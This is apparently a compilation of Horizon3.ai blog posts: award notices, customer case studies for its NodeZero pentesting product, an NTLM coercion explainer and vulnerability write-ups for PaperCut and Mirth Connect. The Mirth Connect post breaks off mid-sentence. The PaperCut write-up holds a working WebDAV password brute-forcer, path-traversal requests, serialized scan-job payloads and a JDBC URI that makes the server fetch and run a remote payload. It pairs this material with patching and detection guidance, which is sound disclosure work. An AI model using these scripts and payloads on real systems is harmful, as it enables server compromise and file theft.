2023 Security Today CyberSecured Awards
2023 Security Today CyberSecured Awards
The post 2023 Security Today CyberSecured Awards appeared first on Horizon3.ai.
2023 Security Today CyberSecured Awards
The post 2023 Security Today CyberSecured Awards appeared first on Horizon3.ai.
Business Wire 12/21/2023
Horizon3.ai, a leading provider of autonomous security solutions, celebrated 2023, a break-out year in which the company was honored with numerous recognitions and prestigious honors…
The post Horizon3.ai Closes Out 2023 With Numerous Honors and Accolades appeared first on Horizon3.ai.
Canada’s leading managed security service provider, F12.net delivers reliable and efficient technology solutions to a range of small and medium sized enterprises across Canada. F12’s approach is based on referenceable architectures, elite certifications, and best-inclass cybersecurity. One of the many services that F12 offers is penetration testing. This ethical hacking service helps organizations verify their security approaches, gain valuable cyber risk insight, and demonstrate their security due diligence.
Year Founded: 1992
Number of Acquisitions: 14
Number of Locations: 11
Geography Served: BC, AB, ONT
Number of Companies Who Have Joined the F12 Family: 14
Number of Employees: 280
Certifications: SOC 2 Type 2 Certified
Ratings: 97% Customer Satisfaction Rating and Award-Winning Support
As a large MSSP, F12 regularly undertakes red team exercises to assess its own defenses, and in the past, appointed third-party penetration testers to do the work. Calvin Engen, Chief Technology Officer (CTO) at F12 shares: “Every couple of years we would change who we used for our own penetration tests to experience a different skillset. And so, as those years went on, I just felt that we were not getting a very good work product at the end of the day.”
Calvin observed that there were frequent gaps in the reporting, which was often too technical for a business audience, and the cost of the red team exercise was proportionate to the amount of time the pentester spent focusing on a particular device or devices in the network. As their network is quite large, if they were to evaluate everything in their environment, it simply wouldn’t be economically viable.
This manual way of validating the environment did uncover issues for F12 to address, but assessment results weren’t always being delivered in a timely fashion and therefore, it was difficult for Calvin and his team to quickly identify issues such as configuration drift in their environment. The team needed to know when a device hadn’t been set up to the correct standards they have, and they wanted to know if their managed detection and response software was working correctly.
These challenges made F12 realize that there must be a better way. Calvin wanted to regularly assess the entire environment rather than pick and choose the ‘golden endpoint’. He wanted to have complete visibility to understand where the risks were so he could measure and determine any gaps.
At the same time, F12 was referring professional services organizations to undertake pentests for its clients. Calvin was now questioning the efficacy of these projects himself and realized he couldn’t continue to recommend this somewhat ineffective approach.
Through a survey Calvin participated in, he came across Horizon3.ai for the first time. So, he looked them up and immediately thought, “autonomous penetration testing seems like an interesting concept,” and wanted to learn more about NodeZero. He reached out to Horizon3.ai and requested a demo and proof of value.
Calvin continues: “We had just completed our own penetration test and I was super underwhelmed. Our scoring was low and there was nothing critical to report. Then we kicked off NodeZero, did a scan of our environment, and within a few hours we found a system that was not fully configured. As a result, NodeZero was able to compromise it, then move laterally through the environment, and ended up compromising our whole domain.”
Calvin shared that he was quite surprised that NodeZero was able gain domain admin, but sure enough, when they went through and reviewed the results with their internal team, the results were confirmed.
F12 quickly fixed the issue, since it was clear what the vulnerability was and how it had happened. NodeZero helped to make short work of knowing where to go to fix the problem. Immediately afterward, F12 was able to rescan and validate that the fix had worked without having to wait for a penetration tester to confirm the issue was resolved. Calvin adds:
“We then rescanned the entire network and we found more issues; a new machine on the network that wasn’t quite ready to go into production and had a vulnerability. We immediately picked this up. Our environment is changing all the time, as we bring new systems online, so to get this level of visibility is fantastic.”
As a result of the experience, F12 recognized that NodeZero was a red team force multiplier, delivering a better way to execute pentests, not only for their own infrastructure, but for their clients as well. Using NodeZero, F12 could upskill its talent, build out their pentesting team, and using data from NodeZero scans, they could surely make their own customers more secure.
F12 made the decision to use NodeZero and offer penetration testing-as-a-service (PTaaS) to their customers. Calvin adds: “When you have a finite amount of time, you focus on the obvious areas that could be compromised, but malicious actors don’t have time limits; they can move slowly and methodically through your environment. This is what we wanted to be able to do for ourselves and our clients, rather than restrict this exercise based upon time and available budget. You simply cannot outpace what NodeZero does.”
With the help of NodeZero, F12 launched a new service to their customers late last year and is now seeing a wave of requests for pentesting. Their clients often need penetration tests to meet a compliance requirement, for cybersecurity liability insurance purposes, or because clients desire to have an assessment performed. The benefit of using NodeZero is that it is not ‘one and done’ effort that just focuses on a part of the network. Instead, NodeZero can be used to evaluate every single asset across a network at a moment’s notice. F12 now has far more visibility than it ever had before, enabling their team to quickly remediate the most exploitable vulnerabilities for both them and their customers.
Now, Calvin is a strong advocate for continuous penetration testing delivered as a service rather than undertaking it as a point-in-time exercise. As a result, F12 has made red team exercises part of its own regular routine with weekly pentests, and they can now respond at a much faster pace if issues are discovered. Calvin adds: “I would rather have NodeZero breaching us than some nefarious actor. We are doing more than most to make sure we are keeping our ourselves and clients secure, helping bolster everyone’s defenses as a result.”
Calvin acknowledges the market is beginning to realize that continuous assessments using an autonomous penetration testing platform makes a great deal of sense. He says that most clients know they have security issues, but they don’t have the time, prioritization, and/or budget to regularly undertake red team exercises adding: “Even if the market moves to penetration testing-as-a-service, companies must have a solid foundation in place, because if you don’t have basic cyber hygiene, a penetration test won’t help. Organizations must have a well-disciplined methodology to manage vulnerabilities.”
He recognizes that many businesses are on a journey and his advice is to undertake a gap analysis first to determine where best to spend money. That said, he believes penetration testing will become a pre-requisite in the future. Even today, cyber assurance underwriters require certain capabilities to measure risk, as do many third-party vendor contracts. Likewise, legislation such as DORA, NIST 2, and Bill C 26 in Canada, advocate that organizations have the appropriate critical cyber systems in place and regularly assess their cyber and operational resiliency.
– Calvin Engen, CTO at F12.net
Calvin goes on to describe what he thinks about the benefits that NodeZero brings, and he agrees that pentesting is not a one-and-done exercise. “Compared to traditional pentesting, organizations do a vulnerability scan of their network, they have a report, and maybe one or two assets in that environment were thoroughly assessed. In comparison, NodeZero can do all of that in a matter of days, or even hours, across every single asset in an organization. The value that you get by doing this activity, and by leveraging NodeZero, is achieving far more visibility into your environment than you ever had before. And through that visibility, you can really break down the items that are most exploitable and solve for those. I also would say that it’s far more economical to do it with NodeZero than it is to use only people.”
Calvin concludes: “Some organizations are complacent and don’t believe they have anything worth stealing, but attacks are about disrupting the business, so you are in enough pain that you pay up. If you rely on your IT systems to conduct business, then the reality is that you must protect your infrastructure. Organizations must layer in defense-in-depth and understand where they are the weakest. In the future, pentesting will become democratized and more economical as autonomous pentesting becomes ubiquitous within every organization. I am not sure how long that will take, but what I can say is this is the way to do it.”
The post Revolutionizing Cybersecurity: F12.net’s Journey with Autonomous Penetration Testing appeared first on Horizon3.ai.
Airiam is a pioneering managed resilience provider on a mission to ensure its customers minimize cyber risk and maximize business productivity. Airiam works on the frontlines of cyberattacks to inform their solutions while ensuring customers are hardened against cyberattacks and have the built in resilience to bounce back after an incident. Additionally, they aim to build a best-in-class resilience operations center (ROC), empowering their clients with the tools to face any cyber incident and the confidence to “stand back up from any cyberattack.”
As Art Ocain, Airiam’s CISO & Strategic Alliances and Incident Response Product Management Lead, puts it:
Year Founded: 2021
(but formed out of MSPs and MSSPs that are 20-year-old companies)
Geography Served: Anywhere in the US remotely; Airiam also has offices in Central PA; Rockville, MD; Salisbury, MD; Milwaukee, WI
Number of Employees: 140
Airiam’s incident response team has been on the front lines with consistent ransomware incidents in the last 5 years. With over 75,000 hours on high-profile incidents, this makes them one of the most experienced MSPs/MSSPs in the incident response space. Incident response has shaped how Airiam approaches IT managed services and how they design their service offerings with a tilt toward cyber resilience and business continuity.
Pentesting is central to assessing a client’s resilience to cyberattacks and was part of Airiam’s core managed service offering. However, the company often found itself in a battle for talent, struggling to retain pentesting skills in-house. Art explains: “We would hire a pentester and they would leave, then we would hire another pentester, and they would leave…often, we would be asked for pentesting services, but we wouldn’t have someone immediately available in our team, so we would have to outsource or recruit.”
Airiam also needed pentesters to test their own environment, but that lack of skilled resources made it hard to maintain a consistent approach.
When it came to client vulnerability management, Art found that most of the available tools were basic and time-consuming. They were simply scanning the client environment, comparing results with a vulnerability list, and flagging the discrepancies. This lacked the detail and nuance needed to convince clients to act on the results quickly and did not empower them to fix “prioritized” issues first.
Art shares:
“It became our problem to prioritize the results and then figure out what to do to remediate…we would put a remediation plan together and take it to the client… but the real obstacle was convincing the client that it was actually worth investing to solve the problem.”
Often, vulnerability scanners are not enough to help keep a company resilient against cyber threat actor attempts to target their environment. Organizations need to shift their “scan and patch” mindset and look for security solutions that “Find, Fix, and Verify” remediations/mitigations immediately and continuously.
The pentester shortage was having a commercial impact on Airiam,
causing them to turn away potential business or outsource to another provider. Even with a pentester on staff, that person faced a backlog of hundreds of clients and could not keep up with the growing demand for continuous pentesting.
Demand for pentesting continued to grow, with customers seeking to satisfy compliance requirements, meet cyber insurance stipulations, and provide assurance to their clients. With clear evidence of customer demand, Airiam was missing a major opportunity.
“I felt that pentesting wasn’t something that was really in our wheelhouse…clients were asking for it…but we were leaving money on the table…I also didn’t have the bandwidth to build a comprehensive pentesting practice by hiring several pentesters as well as getting the tooling process and reporting in place,” explains Art.
Keeping an eye open for solutions, Art came across an automated pentesting tool which he implemented as a stopgap and help bolster their “pentesting” capabilities. However, he felt that the tool sill wasn’t meeting expectations of continuous pentesting, and limitations were holding them back from selling this service as a formidable ally against cyberattacks. So, when one of Airiam’s board directors mentioned NodeZero from Horizon3.ai, he booked a demo.
The first NodeZero demo was game-changing according to Art.
“It looked amazing…it blew everything out of the water in comparison to other products.”
Art was particularly impressed with the work that Horizon3.ai’s attack team does to ensure the product is always at the cutting edge of the threat environment. He said that “the idea of the attack team keeping everything completely up to date when there’s a new vulnerability [CVE] release while also doing their own POC and building it into the system” is a game-changer. “You’re not going to see other products turning a vulnerability into an exploit in less than a month…that blew me away.”
Art went on to describe why the “thoughtful” nature of NodeZero is another key benefit: “NodeZero undertakes a real attack instead of just a ‘hail Mary’ of throwing everything in the world against the machine; it is very thoughtful.” NodeZero empowers customers to make thoughtful decisions through its Find-Fix-Verify loop and continuous pentesting ability.
Art was also thoroughly impressed with NodeZero’s vulnerability prioritization features, explaining that “sometimes you get a lot of vulnerabilities listed that aren’t actually exploitable in your network…NodeZero re-orders things based on relevancy and how the attack is carried out.” NodeZero’s detailed attacks paths allow customers to walk through how an attack could be carried out through the “Eyes of an Attacker”, while also showing which vulnerabilities led to specific downstream impacts and what to fix to mitigate other issues throughout the environment.
Initially, Art ran NodeZero against Airiam’s own datacenter, which hosts several of their clients, and compared the results to the previously tested automated solution. He found that NodeZero’s results were more specific and relevant to his environment: “NodeZero was a lot more thoughtful, and its fix actions are incredible.”
NodeZero’s clean and concise reporting also proved a hit with Art and his team, as it requires minimal work to make reports client ready.
Since implementing NodeZero, Airiam has deployed it in various ways to deliver great customer experiences and drive adjacent projects. These include:
Complimentary client scanning and project identification: Airiam undertakes a complimentary NodeZero scan that delivers a comprehensive, prioritized vulnerability report. Airiam’s exceptional professional services team devises a remediation plan, with the NodeZero report providing the evidence to convince customers that investment is needed. In this way, Airiam is developing new revenue streams and stronger customer relationships.
Providing peace of mind for clients: Airiam provides scans that help customers meet external compliance requirements, assure partners, and satisfy internal audit and compliance teams that the business is resilient to attacks.
Bundled into MDR Services: Airiam includes NodeZero in its AirGuard™ Plus flagship managed detection and response service, and it is a core feature of the company’s AirAudit™ pentesting-as-a-service (PTaaS) solution. This solution is for clients who are not already managed by Airiam. It’s comprised of a NodeZero pentest and custom-built remediation plan and often proves to be the catalyst that leads to further business opportunities.
Since deploying NodeZero in its own managed client environment, Airiam has achieved a 50% reduction in outstanding vulnerabilities across their managed customer base. Some of the lower-level vulnerabilities that remain are due to legacy networks or applications, meaning that clients are unable to easily address them. However, in this case, NodeZero enables Airiam to show the client that it has identified the low-level vulnerabilities and suggest defenses such as segmentation so a known vulnerability cannot be exploited.
Art also highlights how the recursive nature of NodeZero means it’s an excellent counterpart to human pentesters, explaining that “humans will see a vulnerability, focus on how they can exploit it, and how that exploit can be stopped, but they won’t look at other routes to exploiting it…NodeZero will keep trying alternative routes to the target.”
He also sees Horizon3.ai’s attack team as a real differentiator. He pointed out that “seeing relevant content where they are working on new initiatives is the superpower to me…it’s not just a robot…you have humans writing exploits and that’s where it’s real.”
NodeZero in and of itself is a gamechanger for any organization looking for a continuous pentesting solution that enables a proactive and preemptive approach while building resilience against cyber threats. Partnered with other Managed IT solutions such as Airiam, NodeZero becomes an unstopped force.
Art recommends a bold approach for companies evaluating NodeZero:
“Start using it…don’t just run it in some demo network…use it in production on critical systems… use it on client systems…the more you use it, the more you love it.” He goes on to advise anyone doing a trial to, “roll it out widely…thinking of it as a resiliency test for your organization…and if you don’t like it, you can get rid of it…but I’m pretty sure you’ll like it!”
The post Airiam: Turning Cyber Resilience into a Superpower appeared first on Horizon3.ai.
Business Wire 01/08/2024
Horizon3.ai, a leading provider of autonomous security solutions, today announced that Torie Runzel has joined as Vice President of People, effective immediately…
The post Horizon3.ai Appoints Torie Runzel as Vice President of People appeared first on Horizon3.ai.
Since introducing NTLM coercion techniques such as PetitPotam into the NodeZero platform, we frequently have security practitioners request help understanding these techniques and what impact they have to their enterprise. There is a lack of concise resources to inform Blue Teams on how these techniques work, and clearly distinguishing them from other misconfigurations/vulnerabilities in the attack chain – particularly the NTLM Relay vulnerable Active Directory Certificate Services (ADCS) HTTP web endpoints.
The level of risk NTLM coercion opportunities provide in a network depends on the environment and mitigation of said risk can be done at several points in the attack chain – keep patched, prevent attackers from obtaining user credentials, and minimize the relay attack surface.
NTLM Relay Attack with Coercion and ADCS ESC8
The primary use case for PetitPotam and other NTLM coercion techniques is to source authentication material for an NTLM relay attack. NTLM relaying is a popular and useful man-in-the-middle tactic that takes advantage of the 20-year-old NTLMv1/2 challenge-response authentication protocol. An attacker, via “some mechanism”, is able to intercept authentication requests from a client and forward them to a vulnerable service configured to use NTLMv1/2 for authentication. The end result: the vulnerable service authenticates the attacker, believing they are the original client.
Historically, passive protocol poisoning techniques were the primary method for attackers to initiate an NTLM relay attack. These techniques rely on an enterprise using vulnerable broadcast protocols, such as LLMNR or mDNS, to reroute connection requests to a relay server. With the introduction of NTLM coercion attacks, researchers discovered a whole new world for getting a source client to initiate an authentication session with a relay server.
The beginning of the NTLM coercion hype started in 2018 when researcher Lee Christensen (@tifkin_) and others at SpectreOps reported an MS-RPRN abuse to Microsoft. The issue, to become widely known as “PrinterBug” in the community, was an authenticated method (i.e., an attacker needs to already have domain credentials) for getting a server running the Print Spooler service to initiate an NTLMv2 authentication session (using its Machine Account credentials) with a server of the attackers choosing. Microsoft considered this issue to be “by design”, and essentially a feature of the protocol.
In 2021, researcher Giles Lionel (@topotam) made an elephant sized splash by releasing his PetitPotam tool – utilizing a similar vulnerability in MS-EFSRPC. The difference? In addition to finding several authenticated methods in MS-EFSRPC for coercion, Giles discovered two methods (CVE-2021-36943 AND CVE-2022-26925) for unauthenticated coercion. This meant an attacker without any credentials could force a vulnerable server to connect to the relay server. To make matters worse, Domain Controllers were vulnerable to the unauthenticated attack by default.
Researchers inspired by the work of Christensen and Lionel continued to dig into additional RPC protocols and discover additional authenticated coercion opportunities but none have come close to the impact of unauthenticated PetitPotam.
Technique Alias | Protocol | Researcher | Authenticated | Unauthenticated |
PrinterBug | MS-RPRN | Lee Christensen, et al. | Yes | No |
PetitPotam | MS-EFSRPC | Giles Lionel | Yes | CVE-2021-36942 |
ShadowCoerce | MS-FSRVP | Giles Lionel And Charlie Bromberg(@_nwodtuhs) | CVE-2022-30154 | No |
DFSCoerce | MS-DFSNM | Filip Dragović (@Wh04m1001) | Yes | No |
CheeseOunce | MS-EVEN | @evilash | Yes | No |
Once the targeted machine (likely a Domain Controller) connects to the attacker’s malicious server, the attacker can now relay the authentication session to a vulnerable service — allowing the attacker to masquerade as the machine to said service. Possible vulnerable services include:
When PetitPotam first hit the scene in 2021, most of the mitigations published were focused on killing the relay opportunity to ADCS – not on blocking the coercion technique itself. Although this created some confusion in the community (when a researcher says “PetitPotam” are they talking about just the coercion technique or the entire attack path to Domain Compromise via ADCS?), it was for a good reason.
In 2021, Will Schroder (@harmj0y) and Lee Christensen of SpectreOps published their white paper on various privilege escalations using Active Directory Certificate Services (ADCS) – Microsoft’s Active Directory integrated PKI solution. One of the key findings, known as ESC8, was the various HTTP enrollment endpoints that administrators could enable for ADCS were susceptible to NTLM relay attacks. If an attacker could relay a Domain Administrator or Domain Controllers session to one of these endpoints, they could potentially obtain a PKI certificate for the User/Machine. Attackers could then utilize these certificates to log in and compromise the domain. PKI certificates are highly valuable credentials – as they are very persistent, providing access even if a compromised user reset their domain password.
The combination of PetitPotam’s unauthenticated coercion attack with an ESC8 vulnerable ADCS server meant an attacker could easily obtain a PKI certificate for a Domain Controller – enabling them to fully compromise the domain by performing a DCSync or RBCD attack.
The above NodeZero attack graph is a great real-world example of the impact NTLM Coercion and ADCS ESC8 can have on an enterprise.
The severity of risk NTLM coercion techniques provide in an enterprise network depends on several key factors:
The questions above highlight several points where an attacker’s use of NTLM Coercion techniques can be minimized and mitigated in the attack chain. Here are a few recommendations:
To mitigate unauthenticated NTLM coercion techniques, administrators should patch their vulnerable instances ASAP.
Some authenticated techniques can easily be disabled if not being utilized by the enterprise:
Others may require an RPC filter to block access to individual protocols if their use is not required. H3 has provided the RPC filters for the following:
In our real-world example, NodeZero was able to compromise the domain in an hour and five minutes using a combination of Man-in-the-Middle techniques, to include using NTLM coercion to relay a Domain Controller’s credentials to an ADCS server. This example highlights the highest level of impact NTLM coercion can have in an environment, but it is only one of several different ways attackers can utilize the technique to gain their objectives.
The post The Elephant In the Room – NTLM Coercion and Understanding Its Impact appeared first on Horizon3.ai.
Back in Aug. 2023 we released an advisory for CVE-2023-39143, a critical vulnerability that affects Windows installs of the PaperCut NG/MF print management software. Attackers can exploit this vulnerability to download and delete arbitrary files, and in certain common configurations upload files, leading to remote code execution. This vulnerability was patched in PaperCut version 22.1.3 in July 2023.
This post is a deep dive into the technical details behind this vulnerability. As you’ll see, this isn’t exactly the kind of vulnerability that will win any accolades at Pwn2Own, but it’s something that a patient determined attacker may choose to exploit in certain targeted scenarios. It’s an interesting case study of how a bunch of seemingly minor issues can be chained together to achieve total compromise.
We decided to research PaperCut last year after reports of widespread exploitation of CVE-2023-23750. A number of Horizon3 customers are in the state/local/education sector and are users of PaperCut.
PaperCut is a traditional Java web application. Looking through the web.xml
, one of the interesting endpoints that stood out was a WebDAV endpoint:
This endpoint is guarded by the WebDavSecurityFilter
class, which checks for basic authentication credentials for the papercut-webdav
user. The password is a 6 digit code and can be brute forced. No rate-limiting is enforced on this endpoint.
In our local network it took about an hour to get through all million codes. An attacker’s speed of brute forcing will vary depending on the network, how many parallel threads are run, and how many PaperCut instances are being targeted at once.
import requests
import base64
requests.packages.urllib3.disable_warnings()
from concurrent.futures import ThreadPoolExecutor
import sys
url = 'https://10.0.229.11:9192/webdav/hi'
def try_passwords(min, max):
for i in range(min, max):
password = str(i).rjust(6, '0')
auth_raw = 'papercut-webdav:' + password
auth_header = 'Basic ' + base64.b64encode(auth_raw.encode()).decode()
r = requests.post(url, headers = {'Authorization': auth_header}, verify=False)
print(i, r.status_code)
if (r.status_code != 403):
# if successful, will return 501 Not implemented because POST is not supported
print(f'Got password! {password}')
sys.exit(0)
with ThreadPoolExecutor(max_workers=5) as executor:
executor.submit(try_passwords, 0, 200000)
executor.submit(try_passwords, 200000, 400000)
executor.submit(try_passwords, 400000, 600000)
executor.submit(try_passwords, 600000, 800000)
executor.submit(try_passwords, 800000, 1000000)
Note that the WebDAV endpoint only operates over HTTPS, and in general everything in this post requires access to a PaperCut server over HTTPS.
net.sf.webdav
PackageGetting access to the WebDAV interface opens up an interesting attack surface. The code in WebDavSecurityFilter
disallows GET requests, but other HTTP methods such as MOVE
, COPY
, DELETE
, and PUT
are allowed.
PaperCut’s WebDavServlet
class extends net.sf.webdav.WebdavServlet
in the third party net.sf.webdav
package. We found a Windows-specific path traversal vulnerability in this package where paths are sanitized for forward slashes but not backslashes.
This is a very old third party package and it doesn’t appear to have a maintainer. We traced shared code in this package back to Apache Tomcat, but this is not exploitable in Tomcat because Tomcat prohibits backslashes in paths. PaperCut uses Jetty, which is happy to pass the backslashes through.
With the path traversal, it’s possible to list the contents of arbitrary directories on the host using the WebDAV PROPFIND
method. Here’s an example of listing files and directories under C:\Users
.
It’s possible to use the path traversal to delete arbitrary files and folders on the file system. Here’s an example of deleting the C:\test
folder.
As mentioned above, the WebDavSecurityFilter
class guards against GET requests hitting the WebDavServlet
. However, we found a second Windows-specific path traversal issue in the CustomReportExample
servlet that allows retrieval of image files at arbitrary paths on the file system.
We found that we could use the first path traversal issue in the net.sf.webdav
package to COPY
arbitrary files into the PaperCut webdav
folder with a png
extension, and then use the second path traversal issue in CustomReportExampleServlet
to retrieve those files.
Here’s an example of retrieving PaperCut’s server.properties
file, which contains the admin user’s password hash.
Combined with the ability to list arbitrary directories using PROPFIND
, this means an attacker can exfiltrate anything on disk. For instance, PaperCut uses Derby by default as a database, and these Derby database files can be retrieved. An attacker can then use tools like ij to execute SQL to access any data in the database.
The WebDavServlet
class supports uploading files via the HTTP PUT
method, and this is also vulnerable to path traversal, but there’s a catch. The path to the PUT
must start with a valid scan job id, i.e. it must look something like https://<server>:<port>/webdav/<scan job id>/..\..\..\<filename>
. This interface is meant for printers to upload files for scan jobs to PaperCut.
To exploit this endpoint then, an attacker must be able to generate a valid scan job id. This requires a configuration of PaperCut where external device integration is turned on. This is the default for PaperCut MF and certain flavors of PaperCut NG. From our testing in client environments, the vast majority of PaperCut users have this setting turned on.
Assuming this external device integration setting is turned on, there are two scenarios where an attacker can generate a scan job id:
We’ll look at each of these scenarios.
PaperCut’s main application server exposes an API for secondary servers (site servers) to carry out actions on behalf of users that connect to the site server. One of these APIs allows site servers to create scan jobs.
Requests to the site server API are authenticated using a site server UUID. This is something an attacker can acquire by exploiting the arbitrary file download vulnerability described earlier.
An attacker can pretend to be a site server and submit scan jobs using the site server API. To create a scan job, an attacker would send a scan job request to the /rpc/api/rest/master/scan-job/createJob/<site server UUID>
endpoint with a scan job request JSON payload that looks something like this.
{
"username": [
"jsmith"
],
"locale": [
"rO0ABXNyABBqYXZhLnV0aWwuTG9jYWxlfvgRYJww+ewDAAZJAAhoYXNoY29kZUwAB2NvdW50cnl0ABJMamF2YS9sYW5nL1N0cmluZztMAApleHRlbnNpb25zcQB+AAFMAAhsYW5ndWFnZXEAfgABTAAGc2NyaXB0cQB+AAFMAAd2YXJpYW50cQB+AAF4cP////90AAJVU3QAAHQAAmVucQB+AARxAH4ABHg="
],
"userParams": [],
"jobSettings": [
"rO0ABXNyADNiaXoucGFwZXJjdXQucGNuZy5kb21haW4uc2Nhbi5TY2FuU2V0dGluZ3NGYWN0b3J5JDSVL6JDv6zlygIAAUwAD3ZhbCRzZXR0aW5nc01hcHQAD0xqYXZhL3V0aWwvTWFwO3hyAC1jb20ucGFwZXJjdXQuc2VydmVyLmxhbmcuc2Nhbi5TY2FuSm9iU2V0dGluZ3OtAwAAtdjyIwIAAHhwc3IANWNvbS5nb29nbGUuY29tbW9uLmNvbGxlY3QuSW1tdXRhYmxlTWFwJFNlcmlhbGl6ZWRGb3JtAAAAAAAAAAACAAJbAARrZXlzdAATW0xqYXZhL2xhbmcvT2JqZWN0O1sABnZhbHVlc3EAfgAFeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdXEAfgAHAAAAAA=="
],
"accountName": [
"jsmith"
],
"deviceId": [
"43422"
],
"scanActionId": [
"1001"
]
}
In the above payload, the username
and accountNames
are any user in the system, the deviceId
doesn’t matter, and the scanActionId
is set to first default scan action id of 1001.
The return value from this API call is a scan job id. This can be then used against the WebDAV API using the PUT
method to place a file anywhere on the file system.
If PaperCut has been configured with a device that supports integrated scanning, and integrated scanning has also been enabled for that device, it’s possible to create a scan job for that device using the external device XMLRPC API hosted at /rpc/extdevice/xmlrpc
.
The XMLRPC API is meant to be used by external devices. The API requires authentication, and there is a unique username and password per device type. The username hashes and password hashes for these devices are stored in the source code. We were able to discover valid cleartext credentials for the API in the PaperCut install itself. We were then able to authenticate to the API and start a session using the beginSession
API (we are not disclosing the hardcoded credentials here).
>>> import xmlrpc.client
>>> import ssl
>>> c = xmlrpc.client.ServerProxy('https://10.0.229.11:9192/rpc/extdevice/xmlrpc', context=ssl._create_unverified_context())
>>> c.api.beginSession('REDACTED', 'REDACTED', '1.5')
'dAZ8R'
From there, the integratedScanJobStarted
API can be used to create a scan job id, using a valid device id and username.
Then a file can be placed anywhere on disk using the WebDAV PUT
method:
If no device exists ahead of time, an attacker can simply use the XMLRPC API to self-register a device that supports scanning, then turn on integrated scanning for the device, and then generate a scan job id.
There are a few paths to remote code execution, especially if file upload is possible. Perhaps the easiest method for RCE is to leverage another vulnerability reported to ZDI by an Anonymous user as ZDI-CAN-21013. This vulnerability was fixed in the same patch release that CVE-2023-39143 was fixed. This vulnerability is related to an out-of-date Postgres driver vulnerable to CVE-2022-21724.
To exploit this, an attacker would first need to acquire the admin password. This can be accomplished in one of two ways:
server.properties
file by exploiting the arbitrary file download aspect of CVE-2023-39143server.properties
file containing a new admin password. PaperCut dynamically reads this file every time an admin tries to log in.For instance to reset the admin password to admin12345
:
Once logged in as admin, the Postgres driver can be exploited by setting up a crafted JDBC URI in the External User Lookup section of the Advanced config:
For instance setting the value to jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.225.200:900/exp.xml
will cause the PaperCut server to connect back to the IP address 10.0.225.200 to download an XML payload containing an OS command to execute (in this case a ping command):
The execution of the OS command can be triggered by simply searching for a user in the Users UI, following PaperCut’s instructions here.
The following command checks if a PaperCut server is not patched for CVE-2023-39143 and is running on Windows.
curl -w "%{http_code}" -k --path-as-is "https://<IP>:<port>/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"
A 200 response indicates the server has not been patched and is running on Windows. A 404 response indicates the server has been patched or not running on Windows.
The following checks if the WebDAV endpoint is accessible, which is a requirement for exploiting CVE-2023-39143.
curl -w "%{http_code}" -X OPTIONS -k "https://<IP>:<port>/webdav/"
A 401 response code indicates the WebDAV interface is accessible.
From a network detection rules standpoint, any traffic going to the /webdav
endpoint should be considered suspicious. The PaperCut server.log
will show failed authentication attempts:
If you’re a user of PaperCut who is exposing it to the Internet and still haven’t yet updated to 22.1.3+, we highly recommend you update to the latest. If upgrading is not immediately possible, it is possible to mitigate this vulnerability by configuring an allowlist of device IP addresses that are permitted to communicate with the PaperCut server. Refer to the “IP Address Allow-listing” section of the PaperCut security best practices guide.
CVE-2023-39143 is made possible by a series of seemingly minor issues:
net.sf.webdav package
CustomReportExample
servletIn the July 2023 patch release, PaperCut addressed most of these issues. The WebDAV endpoint requires a strong password that can’t be brute forced, and rate limiting is enforced. There are restrictions on the WebDAV methods that can be called. The path traversal issue in the CustomReportExample
servlet is fixed, and there’s logic in place to prevent malicious paths from making to to the net.sf.webdav
package.
From our experience, third party packages continue to be a major blind spot for application security, and it’s not just about the known vulnerabilities. It’s the latent attack surface represented by all the undiscovered vulnerabilities out there in libraries that developers rarely look at and appsec tools are rarely configured to inspect.
The post Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability appeared first on Horizon3.ai.
In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.
CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.
Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer
class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.
XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.
Tracing the code, the XStreamSerializer
is invoked through the XmlMessageBodyReader
class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.
Mirth servlets in general extend the MirthServlet
base class, which handles checking authentication in the initLogin
method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader
.
However, for a few servlets, authentication is not checked in the MirthServlet
base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet
, SystemServlet
, and UserServlet
all extend the MirthServlet
base class but set the initLogin
property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader
class prior to the authentication check in the servlet.
To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users
endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.
And it worked, against a version of Mirth running Java 11.0.16.
We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.
Debugging the failure of the exploit payload against different Mirth versions, we found two problems:
Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler
class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:
And the payload fails with Java 17+ because private fields in the java.beans.EventHandler
class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens
flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.
To bypass both limitations, we decided to look for an alternative InvocationHandler
class similar to java.beans.EventHandler
